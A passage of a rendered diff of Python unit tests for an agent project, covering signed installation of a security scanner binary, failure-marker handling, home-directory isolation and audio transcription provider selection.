path, reason = _install_tirith()
|
||||
assert path is None
|
||||
assert reason == "cosign_missing"
|
||||
|
||||
@patch("tools.tirith_security._verify_cosign", return_value=None)
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/local/bin/cosign")
|
||||
@patch("tools.tirith_security._download_file")
|
||||
@patch("tools.tirith_security._detect_target", return_value="aarch64-apple-darwin")
|
||||
def test_install_aborts_when_cosign_exec_fails(self, mock_target, mock_dl,
|
||||
mock_which, mock_cosign):
|
||||
"""_install_tirith returns cosign_exec_failed when cosign exists but fails."""
|
||||
from tools.tirith_security import _install_tirith
|
||||
path, reason = _install_tirith()
|
||||
assert path is None
|
||||
assert reason == "cosign_exec_failed"
|
||||
|
||||
@patch("tools.tirith_security._download_file")
|
||||
@patch("tools.tirith_security._detect_target", return_value="aarch64-apple-darwin")
|
||||
def test_install_aborts_when_cosign_artifacts_missing(self, mock_target,
|
||||
mock_dl):
|
||||
"""_install_tirith returns None when .sig/.pem downloads fail (404)."""
|
||||
from tools.tirith_security import _install_tirith
|
||||
import urllib.request
|
||||
|
||||
def _dl_side_effect(url, dest, timeout=10):
|
||||
if url.endswith(".sig") or url.endswith(".pem"):
|
||||
raise urllib.request.URLError("404 Not Found")
|
||||
|
||||
mock_dl.side_effect = _dl_side_effect
|
||||
|
||||
path, reason = _install_tirith()
|
||||
assert path is None
|
||||
assert reason == "cosign_artifacts_unavailable"
|
||||
|
||||
@patch("tools.tirith_security.tarfile.open")
|
||||
@patch("tools.tirith_security._verify_checksum", return_value=True)
|
||||
@patch("tools.tirith_security._verify_cosign", return_value=True)
|
||||
@patch("tools.tirith_security.shutil.which", return_value="/usr/local/bin/cosign")
|
||||
@patch("tools.tirith_security._download_file")
|
||||
@patch("tools.tirith_security._detect_target", return_value="aarch64-apple-darwin")
|
||||
def test_install_proceeds_when_cosign_passes(self, mock_target, mock_dl,
|
||||
mock_which, mock_cosign,
|
||||
mock_checksum, mock_tarfile):
|
||||
"""_install_tirith proceeds only when cosign explicitly passes (True)."""
|
||||
from tools.tirith_security import _install_tirith
|
||||
# Mock tarfile — empty archive means "binary not found" return
|
||||
mock_tar = MagicMock()
|
||||
mock_tar.__enter__ = MagicMock(return_value=mock_tar)
|
||||
mock_tar.__exit__ = MagicMock(return_value=False)
|
||||
mock_tar.getmembers.return_value = []
|
||||
mock_tarfile.return_value = mock_tar
|
||||
|
||||
path, reason = _install_tirith()
|
||||
assert path is None # no binary in mock archive, but got past cosign
|
||||
assert reason == "binary_not_in_archive"
|
||||
assert mock_checksum.called # reached SHA-256 step
|
||||
assert mock_cosign.called # cosign was invoked
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Background install / non-blocking startup (P2)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestBackgroundInstall:
|
||||
def test_ensure_installed_non_blocking(self):
|
||||
"""ensure_installed must return immediately when download needed."""
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
with patch("tools.tirith_security._load_security_config",
|
||||
return_value={"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}), \
|
||||
patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._is_install_failed_on_disk", return_value=False), \
|
||||
patch("tools.tirith_security.threading.Thread") as MockThread:
|
||||
mock_thread = MagicMock()
|
||||
mock_thread.is_alive.return_value = False
|
||||
MockThread.return_value = mock_thread
|
||||
|
||||
result = ensure_installed()
|
||||
assert result is None # not available yet
|
||||
MockThread.assert_called_once()
|
||||
mock_thread.start.assert_called_once()
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_ensure_installed_skips_on_disk_marker(self):
|
||||
"""ensure_installed skips network attempt when disk marker exists."""
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
with patch("tools.tirith_security._load_security_config",
|
||||
return_value={"tirith_enabled": True, "tirith_path": "tirith",
|
||||
"tirith_timeout": 5, "tirith_fail_open": True}), \
|
||||
patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._read_failure_reason", return_value="download_failed"), \
|
||||
patch("tools.tirith_security._is_install_failed_on_disk", return_value=True):
|
||||
|
||||
result = ensure_installed()
|
||||
assert result is None
|
||||
assert _tirith_mod._resolved_path is _tirith_mod._INSTALL_FAILED
|
||||
assert _tirith_mod._install_failure_reason == "download_failed"
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_resolve_returns_default_when_thread_alive(self):
|
||||
"""_resolve_tirith_path returns default while background thread runs."""
|
||||
from tools.tirith_security import _resolve_tirith_path
|
||||
_tirith_mod._resolved_path = None
|
||||
mock_thread = MagicMock()
|
||||
mock_thread.is_alive.return_value = True
|
||||
_tirith_mod._install_thread = mock_thread
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"):
|
||||
result = _resolve_tirith_path("tirith")
|
||||
assert result == "tirith" # returns configured default, doesn't block
|
||||
|
||||
_tirith_mod._install_thread = None
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_resolve_picks_up_background_result(self):
|
||||
"""After background thread finishes, _resolve_tirith_path uses cached path."""
|
||||
from tools.tirith_security import _resolve_tirith_path
|
||||
# Simulate background thread having completed and set the path
|
||||
_tirith_mod._resolved_path = "/usr/local/bin/tirith"
|
||||
|
||||
result = _resolve_tirith_path("tirith")
|
||||
assert result == "/usr/local/bin/tirith"
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Disk failure marker persistence (P2)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestDiskFailureMarker:
|
||||
def test_mark_and_check(self):
|
||||
"""Writing then reading the marker should work."""
|
||||
import tempfile
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
marker = os.path.join(tmpdir, ".tirith-install-failed")
|
||||
with patch("tools.tirith_security._failure_marker_path", return_value=marker):
|
||||
from tools.tirith_security import (
|
||||
_mark_install_failed, _is_install_failed_on_disk, _clear_install_failed,
|
||||
)
|
||||
assert not _is_install_failed_on_disk()
|
||||
_mark_install_failed("download_failed")
|
||||
assert _is_install_failed_on_disk()
|
||||
_clear_install_failed()
|
||||
assert not _is_install_failed_on_disk()
|
||||
|
||||
def test_expired_marker_ignored(self):
|
||||
"""Marker older than TTL should be ignored."""
|
||||
import tempfile
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
marker = os.path.join(tmpdir, ".tirith-install-failed")
|
||||
with patch("tools.tirith_security._failure_marker_path", return_value=marker):
|
||||
from tools.tirith_security import _mark_install_failed, _is_install_failed_on_disk
|
||||
_mark_install_failed("download_failed")
|
||||
# Backdate the file past 24h TTL
|
||||
old_time = time.time() - 90000 # 25 hours ago
|
||||
os.utime(marker, (old_time, old_time))
|
||||
assert not _is_install_failed_on_disk()
|
||||
|
||||
def test_cosign_missing_marker_clears_when_cosign_appears(self):
|
||||
"""Marker with 'cosign_missing' reason clears if cosign is now on PATH."""
|
||||
import tempfile
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
marker = os.path.join(tmpdir, ".tirith-install-failed")
|
||||
with patch("tools.tirith_security._failure_marker_path", return_value=marker):
|
||||
from tools.tirith_security import _mark_install_failed, _is_install_failed_on_disk
|
||||
_mark_install_failed("cosign_missing")
|
||||
assert _is_install_failed_on_disk() # cosign still absent
|
||||
|
||||
# Now cosign appears on PATH
|
||||
with patch("tools.tirith_security.shutil.which", return_value="/usr/local/bin/cosign"):
|
||||
assert not _is_install_failed_on_disk()
|
||||
# Marker file should have been removed
|
||||
assert not os.path.exists(marker)
|
||||
|
||||
def test_cosign_missing_marker_stays_when_cosign_still_absent(self):
|
||||
"""Marker with 'cosign_missing' reason stays if cosign is still missing."""
|
||||
import tempfile
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
marker = os.path.join(tmpdir, ".tirith-install-failed")
|
||||
with patch("tools.tirith_security._failure_marker_path", return_value=marker):
|
||||
from tools.tirith_security import _mark_install_failed, _is_install_failed_on_disk
|
||||
_mark_install_failed("cosign_missing")
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None):
|
||||
assert _is_install_failed_on_disk()
|
||||
|
||||
def test_non_cosign_marker_not_affected_by_cosign_presence(self):
|
||||
"""Markers with other reasons are NOT cleared by cosign appearing."""
|
||||
import tempfile
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
marker = os.path.join(tmpdir, ".tirith-install-failed")
|
||||
with patch("tools.tirith_security._failure_marker_path", return_value=marker):
|
||||
from tools.tirith_security import _mark_install_failed, _is_install_failed_on_disk
|
||||
_mark_install_failed("download_failed")
|
||||
with patch("tools.tirith_security.shutil.which", return_value="/usr/local/bin/cosign"):
|
||||
assert _is_install_failed_on_disk() # still failed
|
||||
|
||||
@patch("tools.tirith_security._mark_install_failed")
|
||||
@patch("tools.tirith_security._is_install_failed_on_disk", return_value=False)
|
||||
@patch("tools.tirith_security._install_tirith", return_value=(None, "cosign_missing"))
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
def test_sync_resolve_persists_failure(self, mock_which, mock_install,
|
||||
mock_disk_check, mock_mark):
|
||||
"""Synchronous _resolve_tirith_path persists failure to disk."""
|
||||
from tools.tirith_security import _resolve_tirith_path
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
_resolve_tirith_path("tirith")
|
||||
mock_mark.assert_called_once_with("cosign_missing")
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
@patch("tools.tirith_security._clear_install_failed")
|
||||
@patch("tools.tirith_security._is_install_failed_on_disk", return_value=False)
|
||||
@patch("tools.tirith_security._install_tirith", return_value=("/installed/tirith", ""))
|
||||
@patch("tools.tirith_security.shutil.which", return_value=None)
|
||||
def test_sync_resolve_clears_marker_on_success(self, mock_which, mock_install,
|
||||
mock_disk_check, mock_clear):
|
||||
"""Successful install clears the disk failure marker."""
|
||||
from tools.tirith_security import _resolve_tirith_path
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
result = _resolve_tirith_path("tirith")
|
||||
assert result == "/installed/tirith"
|
||||
mock_clear.assert_called_once()
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_sync_resolve_skips_install_on_disk_marker(self):
|
||||
"""_resolve_tirith_path skips download when disk marker is recent."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._read_failure_reason", return_value="download_failed"), \
|
||||
patch("tools.tirith_security._is_install_failed_on_disk", return_value=True), \
|
||||
patch("tools.tirith_security._install_tirith") as mock_install:
|
||||
_resolve_tirith_path("tirith")
|
||||
mock_install.assert_not_called()
|
||||
assert _tirith_mod._resolved_path is _INSTALL_FAILED
|
||||
assert _tirith_mod._install_failure_reason == "download_failed"
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_install_failed_still_checks_local_paths(self):
|
||||
"""After _INSTALL_FAILED, a manual install on PATH is picked up."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = _INSTALL_FAILED
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", return_value="/usr/local/bin/tirith"), \
|
||||
patch("tools.tirith_security._clear_install_failed") as mock_clear:
|
||||
result = _resolve_tirith_path("tirith")
|
||||
assert result == "/usr/local/bin/tirith"
|
||||
assert _tirith_mod._resolved_path == "/usr/local/bin/tirith"
|
||||
mock_clear.assert_called_once()
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_install_failed_recovers_from_hermes_bin(self):
|
||||
"""After _INSTALL_FAILED, manual install in HERMES_HOME/bin is picked up."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
import tempfile
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
hermes_bin = os.path.join(tmpdir, "tirith")
|
||||
# Create a fake executable
|
||||
with open(hermes_bin, "w") as f:
|
||||
f.write("#!/bin/sh\n")
|
||||
os.chmod(hermes_bin, 0o755)
|
||||
|
||||
_tirith_mod._resolved_path = _INSTALL_FAILED
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value=tmpdir), \
|
||||
patch("tools.tirith_security._clear_install_failed") as mock_clear:
|
||||
result = _resolve_tirith_path("tirith")
|
||||
assert result == hermes_bin
|
||||
assert _tirith_mod._resolved_path == hermes_bin
|
||||
mock_clear.assert_called_once()
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_install_failed_skips_network_when_local_absent(self):
|
||||
"""After _INSTALL_FAILED, if local checks fail, network is NOT retried."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = _INSTALL_FAILED
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._install_tirith") as mock_install:
|
||||
result = _resolve_tirith_path("tirith")
|
||||
assert result == "tirith" # fallback to configured path
|
||||
mock_install.assert_not_called()
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_cosign_missing_disk_marker_allows_retry(self):
|
||||
"""Disk marker with cosign_missing reason allows retry when cosign appears."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
# _is_install_failed_on_disk sees "cosign_missing" + cosign on PATH → returns False
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._is_install_failed_on_disk", return_value=False), \
|
||||
patch("tools.tirith_security._install_tirith", return_value=("/new/tirith", "")) as mock_install, \
|
||||
patch("tools.tirith_security._clear_install_failed"):
|
||||
result = _resolve_tirith_path("tirith")
|
||||
mock_install.assert_called_once() # network retry happened
|
||||
assert result == "/new/tirith"
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_in_memory_cosign_missing_retries_when_cosign_appears(self):
|
||||
"""In-memory _INSTALL_FAILED with cosign_missing retries when cosign appears."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = _INSTALL_FAILED
|
||||
_tirith_mod._install_failure_reason = "cosign_missing"
|
||||
|
||||
def _which_side_effect(name):
|
||||
if name == "tirith":
|
||||
return None # tirith not on PATH
|
||||
if name == "cosign":
|
||||
return "/usr/local/bin/cosign" # cosign now available
|
||||
return None
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", side_effect=_which_side_effect), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._is_install_failed_on_disk", return_value=False), \
|
||||
patch("tools.tirith_security._install_tirith", return_value=("/new/tirith", "")) as mock_install, \
|
||||
patch("tools.tirith_security._clear_install_failed"):
|
||||
result = _resolve_tirith_path("tirith")
|
||||
mock_install.assert_called_once() # network retry happened
|
||||
assert result == "/new/tirith"
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_in_memory_cosign_exec_failed_not_retried(self):
|
||||
"""In-memory _INSTALL_FAILED with cosign_exec_failed is NOT retried."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = _INSTALL_FAILED
|
||||
_tirith_mod._install_failure_reason = "cosign_exec_failed"
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._install_tirith") as mock_install:
|
||||
result = _resolve_tirith_path("tirith")
|
||||
assert result == "tirith" # fallback
|
||||
mock_install.assert_not_called()
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_in_memory_cosign_missing_stays_when_cosign_still_absent(self):
|
||||
"""In-memory cosign_missing is NOT retried when cosign is still absent."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = _INSTALL_FAILED
|
||||
_tirith_mod._install_failure_reason = "cosign_missing"
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._install_tirith") as mock_install:
|
||||
result = _resolve_tirith_path("tirith")
|
||||
assert result == "tirith" # fallback
|
||||
mock_install.assert_not_called()
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
def test_disk_marker_reason_preserved_in_memory(self):
|
||||
"""Disk marker reason is loaded into _install_failure_reason, not a generic tag."""
|
||||
from tools.tirith_security import _resolve_tirith_path, _INSTALL_FAILED
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
# First call: disk marker with cosign_missing is active, cosign still absent
|
||||
with patch("tools.tirith_security.shutil.which", return_value=None), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._read_failure_reason", return_value="cosign_missing"), \
|
||||
patch("tools.tirith_security._is_install_failed_on_disk", return_value=True):
|
||||
_resolve_tirith_path("tirith")
|
||||
assert _tirith_mod._resolved_path is _INSTALL_FAILED
|
||||
assert _tirith_mod._install_failure_reason == "cosign_missing"
|
||||
|
||||
# Second call: cosign now on PATH → in-memory retry fires
|
||||
def _which_side_effect(name):
|
||||
if name == "tirith":
|
||||
return None
|
||||
if name == "cosign":
|
||||
return "/usr/local/bin/cosign"
|
||||
return None
|
||||
|
||||
with patch("tools.tirith_security.shutil.which", side_effect=_which_side_effect), \
|
||||
patch("tools.tirith_security._hermes_bin_dir", return_value="/nonexistent"), \
|
||||
patch("tools.tirith_security._is_install_failed_on_disk", return_value=False), \
|
||||
patch("tools.tirith_security._install_tirith", return_value=("/new/tirith", "")) as mock_install, \
|
||||
patch("tools.tirith_security._clear_install_failed"):
|
||||
result = _resolve_tirith_path("tirith")
|
||||
mock_install.assert_called_once()
|
||||
assert result == "/new/tirith"
|
||||
|
||||
_tirith_mod._resolved_path = None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# HERMES_HOME isolation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestHermesHomeIsolation:
|
||||
def test_hermes_bin_dir_respects_hermes_home(self):
|
||||
"""_hermes_bin_dir must use HERMES_HOME, not hardcoded ~/.hermes."""
|
||||
from tools.tirith_security import _hermes_bin_dir
|
||||
import tempfile
|
||||
tmpdir = tempfile.mkdtemp()
|
||||
with patch.dict(os.environ, {"HERMES_HOME": tmpdir}):
|
||||
result = _hermes_bin_dir()
|
||||
assert result == os.path.join(tmpdir, "bin")
|
||||
assert os.path.isdir(result)
|
||||
|
||||
def test_failure_marker_respects_hermes_home(self):
|
||||
"""_failure_marker_path must use HERMES_HOME, not hardcoded ~/.hermes."""
|
||||
from tools.tirith_security import _failure_marker_path
|
||||
with patch.dict(os.environ, {"HERMES_HOME": "/custom/hermes"}):
|
||||
result = _failure_marker_path()
|
||||
assert result == "/custom/hermes/.tirith-install-failed"
|
||||
|
||||
def test_conftest_isolation_prevents_real_home_writes(self):
|
||||
"""The conftest autouse fixture sets HERMES_HOME; verify it's active."""
|
||||
hermes_home = os.getenv("HERMES_HOME")
|
||||
assert hermes_home is not None, "HERMES_HOME should be set by conftest"
|
||||
assert "hermes_test" in hermes_home, "Should point to test temp dir"
|
||||
|
||||
def test_get_hermes_home_fallback(self):
|
||||
"""Without HERMES_HOME set, falls back to ~/.hermes."""
|
||||
from tools.tirith_security import _get_hermes_home
|
||||
with patch.dict(os.environ, {}, clear=True):
|
||||
# Remove HERMES_HOME entirely
|
||||
os.environ.pop("HERMES_HOME", None)
|
||||
result = _get_hermes_home()
|
||||
assert result == os.path.join(os.path.expanduser("~"), ".hermes")
|
||||
@@ -1,223 +0,0 @@
|
||||
"""Tests for transcription_tools.py — local (faster-whisper) and OpenAI providers.
|
||||
|
||||
Tests cover provider selection, config loading, validation, and transcription
|
||||
dispatch. All external dependencies (faster_whisper, openai) are mocked.
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock, patch, mock_open
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Provider selection
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestGetProvider:
|
||||
"""_get_provider() picks the right backend based on config + availability."""
|
||||
|
||||
def test_local_when_available(self):
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "local"}) == "local"
|
||||
|
||||
def test_local_fallback_to_openai(self, monkeypatch):
|
||||
monkeypatch.setenv("VOICE_TOOLS_OPENAI_KEY", "sk-test")
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \
|
||||
patch("tools.transcription_tools._HAS_OPENAI", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "local"}) == "openai"
|
||||
|
||||
def test_local_nothing_available(self, monkeypatch):
|
||||
monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False)
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \
|
||||
patch("tools.transcription_tools._HAS_OPENAI", False):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "local"}) == "none"
|
||||
|
||||
def test_openai_when_key_set(self, monkeypatch):
|
||||
monkeypatch.setenv("VOICE_TOOLS_OPENAI_KEY", "sk-test")
|
||||
with patch("tools.transcription_tools._HAS_OPENAI", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "openai"}) == "openai"
|
||||
|
||||
def test_openai_fallback_to_local(self, monkeypatch):
|
||||
monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False)
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \
|
||||
patch("tools.transcription_tools._HAS_OPENAI", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "openai"}) == "local"
|
||||
|
||||
def test_default_provider_is_local(self):
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({}) == "local"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# File validation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestValidateAudioFile:
|
||||
|
||||
def test_missing_file(self, tmp_path):
|
||||
from tools.transcription_tools import _validate_audio_file
|
||||
result = _validate_audio_file(str(tmp_path / "nope.ogg"))
|
||||
assert result is not None
|
||||
assert "not found" in result["error"]
|
||||
|
||||
def test_unsupported_format(self, tmp_path):
|
||||
f = tmp_path / "test.xyz"
|
||||
f.write_bytes(b"data")
|
||||
from tools.transcription_tools import _validate_audio_file
|
||||
result = _validate_audio_file(str(f))
|
||||
assert result is not None
|
||||
assert "Unsupported" in result["error"]
|
||||
|
||||
def test_valid_file_returns_none(self, tmp_path):
|
||||
f = tmp_path / "test.ogg"
|
||||
f.write_bytes(b"fake audio data")
|
||||
from tools.transcription_tools import _validate_audio_file
|
||||
assert _validate_audio_file(str(f)) is None
|
||||
|
||||
def test_too_large(self, tmp_path):
|
||||
import stat as stat_mod
|
||||
f = tmp_path / "big.ogg"
|
||||
f.write_bytes(b"x")
|
||||
from tools.transcription_tools import _validate_audio_file, MAX_FILE_SIZE
|
||||
real_stat = f.stat()
|
||||
with patch.object(type(f), "stat", return_value=os.stat_result((
|
||||
real_stat.st_mode, real_stat.st_ino, real_stat.st_dev,
|
||||
real_stat.st_nlink, real_stat.st_uid, real_stat.st_gid,
|
||||
MAX_FILE_SIZE + 1, # st_size
|
||||
real_stat.st_atime, real_stat.st_mtime, real_stat.st_ctime,
|
||||
))):
|
||||
result = _validate_audio_file(str(f))
|
||||
assert result is not None
|
||||
assert "too large" in result["error"]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Local transcription
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestTranscribeLocal:
|
||||
|
||||
def test_successful_transcription(self, tmp_path):
|
||||
audio_file = tmp_path / "test.ogg"
|
||||
audio_file.write_bytes(b"fake audio")
|
||||
|
||||
mock_segment = MagicMock()
|
||||
mock_segment.text = "Hello world"
|
||||
mock_info = MagicMock()
|
||||
mock_info.language = "en"
|
||||
mock_info.duration = 2.5
|
||||
|
||||
mock_model = MagicMock()
|
||||
mock_model.transcribe.return_value = ([mock_segment], mock_info)
|
||||
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", True), \
|
||||
patch("tools.transcription_tools.WhisperModel", return_value=mock_model), \
|
||||
patch("tools.transcription_tools._local_model", None):
|
||||
from tools.transcription_tools import _transcribe_local
|
||||
result = _transcribe_local(str(audio_file), "base")
|
||||
|
||||
assert result["success"] is True
|
||||
assert result["transcript"] == "Hello world"
|
||||
|
||||
def test_not_installed(self):
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False):
|
||||
from tools.transcription_tools import _transcribe_local
|
||||
result = _transcribe_local("/tmp/test.ogg", "base")
|
||||
assert result["success"] is False
|
||||
assert "not installed" in result["error"]
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# OpenAI transcription
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestTranscribeOpenAI:
|
||||
|
||||
def test_no_key(self, monkeypatch):
|
||||
monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False)
|
||||
from tools.transcription_tools import _transcribe_openai
|
||||
result = _transcribe_openai("/tmp/test.ogg", "whisper-1")
|
||||
assert result["success"] is False
|
||||
assert "VOICE_TOOLS_OPENAI_KEY" in result["error"]
|
||||
|
||||
def test_successful_transcription(self, monkeypatch, tmp_path):
|
||||
monkeypatch.setenv("VOICE_TOOLS_OPENAI_KEY", "sk-test")
|
||||
audio_file = tmp_path / "test.ogg"
|
||||
audio_file.write_bytes(b"fake audio")
|
||||
|
||||
mock_client = MagicMock()
|
||||
mock_client.audio.transcriptions.create.return_value = "Hello from OpenAI"
|
||||
|
||||
with patch("tools.transcription_tools._HAS_OPENAI", True), \
|
||||
patch("tools.transcription_tools.OpenAI", return_value=mock_client):
|
||||
from tools.transcription_tools import _transcribe_openai
|
||||
result = _transcribe_openai(str(audio_file), "whisper-1")
|
||||
|
||||
assert result["success"] is True
|
||||
assert result["transcript"] == "Hello from OpenAI"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main transcribe_audio() dispatch
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestTranscribeAudio:
|
||||
|
||||
def test_dispatches_to_local(self, tmp_path):
|
||||
audio_file = tmp_path / "test.ogg"
|
||||
audio_file.write_bytes(b"fake audio")
|
||||
|
||||
with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "local"}), \
|
||||
patch("tools.transcription_tools._get_provider", return_value="local"), \
|
||||
patch("tools.transcription_tools._transcribe_local", return_value={"success": True, "transcript": "hi"}) as mock_local:
|
||||
from tools.transcription_tools import transcribe_audio
|
||||
result = transcribe_audio(str(audio_file))
|
||||
|
||||
assert result["success"] is True
|
||||
mock_local.assert_called_once()
|
||||
|
||||
def test_dispatches_to_openai(self, tmp_path):
|
||||
audio_file = tmp_path / "test.ogg"
|
||||
audio_file.write_bytes(b"fake audio")
|
||||
|
||||
with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "openai"}), \
|
||||
patch("tools.transcription_tools._get_provider", return_value="openai"), \
|
||||
patch("tools.transcription_tools._transcribe_openai", return_value={"success": True, "transcript": "hi"}) as mock_openai:
|
||||
from tools.transcription_tools import transcribe_audio
|
||||
result = transcribe_audio(str(audio_file))
|
||||
|
||||
assert result["success"] is True
|
||||
mock_openai.assert_called_once()
|
||||
|
||||
def test_no_provider_returns_error(self, tmp_path):
|
||||
audio_file = tmp_path / "test.ogg"
|
||||
audio_file.write_bytes(b"fake audio")
|
||||
|
||||
with patch("tools.transcription_tools._load_stt_config", return_value={}), \
|
||||
patch("tools.transcription_tools._get_provider", return_value="none"):
|
||||
from tools.transcription_tools import transcribe_audio
|
||||
result = transcribe_audio(str(audio_file))
|
||||
|
||||
assert result["success"] is False
|
||||
assert "No STT provider" in result["error"]
|
||||
|
||||
def test_invalid_file_returns_error(self):
|
||||
from tools.transcription_tools import transcribe_audio
|
||||
result = transcribe_audio("/nonexistent/file.ogg")
|
||||
assert result["success"] is False
|
||||
assert "not found" in result["error"]
|
||||
@@ -3,25 +3,7 @@
|
||||
import os
|
||||
import pytest
|
||||
|
||||
import tools.approval as approval_module
|
||||
import tools.tirith_security
|
||||
|
||||
from tools.approval import (
|
||||
check_all_command_guards,
|
||||
check_dangerous_command,
|
||||
detect_dangerous_command,
|
||||
)
|
||||
|
||||
|
||||
